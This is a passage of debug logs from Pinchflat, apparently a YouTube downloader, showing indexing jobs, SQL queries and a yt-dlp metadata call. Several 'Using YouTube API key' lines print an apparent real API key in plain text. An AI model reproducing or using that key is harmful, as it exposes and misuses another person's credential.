"VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 16:47:05.453 [debug] QUERY OK source="media_items" db=0.2ms idle=66.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:47:05.453 [debug] QUERY OK source="tasks" db=0.1ms idle=66.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800053, 13, ~U[2026-02-10 22:47:05Z], ~U[2026-02-10 22:47:05Z]] 16:47:05.454 [info] {"args":{"id":13},"id":3800014,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133201,"event":"job:stop","queue_time":384398,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.481 [debug] QUERY OK source="media_items" db=0.7ms idle=27.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:47:05.482 [debug] QUERY OK source="media_items" db=0.3ms idle=28.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:47:05.482 [debug] QUERY OK source="tasks" db=0.1ms idle=23.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800054, 22, ~U[2026-02-10 22:47:05Z], ~U[2026-02-10 22:47:05Z]] 16:47:05.483 [info] {"args":{"id":22},"id":3800015,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97347,"event":"job:stop","queue_time":358329,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:07.258 [info] {"args":{"id":14},"id":3800016,"meta":{},"system_time":1770763627258786462,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:07.259 [debug] QUERY OK source="sources" db=0.1ms idle=380.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:47:07.259 [debug] QUERY OK source="settings" db=0.1ms idle=380.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:07.259 [debug] QUERY OK source="media_profiles" db=0.0ms idle=380.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:07.259 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:07.259 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:47:07.259 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:07.259 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:07.333 [debug] QUERY OK source="media_items" db=0.7ms idle=73.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:47:07.335 [debug] QUERY OK source="media_items" db=1.1ms idle=74.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:47:07.335 [debug] QUERY OK source="tasks" db=0.1ms idle=76.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800055, 14, ~U[2026-02-10 22:47:07Z], ~U[2026-02-10 22:47:07Z]] 16:47:07.336 [info] {"args":{"id":14},"id":3800016,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":77214,"event":"job:stop","queue_time":541502,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:08.259 [info] {"args":{"id":32},"id":3800017,"meta":{},"system_time":1770763628259693956,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:08.260 [debug] QUERY OK source="sources" db=0.1ms idle=923.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:47:08.260 [debug] QUERY OK source="settings" db=0.1ms idle=923.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.260 [debug] QUERY OK source="media_profiles" db=0.0ms idle=917.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:08.260 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.260 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:47:08.260 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.260 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:08.568 [debug] QUERY OK source="media_items" db=0.6ms idle=307.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 16:47:08.569 [debug] QUERY OK source="settings" db=0.0ms idle=308.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.569 [debug] QUERY OK source="settings" db=0.0ms idle=308.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.569 [debug] Running yt-dlp command for action: get_media_attributes 16:47:08.570 [debug] QUERY OK source="settings" db=0.0ms idle=309.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.570 [debug] QUERY OK source="settings" db=0.0ms idle=309.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.570 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:08.571 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/7f/767fdaa974a2419dada8feb42f093643ea77d1373445361addb4c0179f66cd36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:47:09.262 [info] {"args":{"id":4},"id":3800018,"meta":{},"system_time":1770763629262671413,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:09.263 [debug] QUERY OK source="sources" db=0.1ms idle=692.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:47:09.263 [debug] QUERY OK source="settings" db=0.1ms idle=692.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.263 [debug] QUERY OK source="media_profiles" db=0.1ms idle=692.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:09.263 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.263 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:47:09.263 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:09.263 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:09.365 [debug] QUERY OK source="media_items" db=0.6ms idle=101.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:47:09.366 [debug] QUERY OK source="media_items" db=0.4ms idle=102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:47:09.367 [debug] QUERY OK source="tasks" db=0.1ms idle=103.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800056, 4, ~U[2026-02-10 22:47:09Z], ~U[2026-02-10 22:47:09Z]] 16:47:09.367 [info] {"args":{"id":4},"id":3800018,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104482,"event":"job:stop","queue_time":473232,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:09.373 [info] 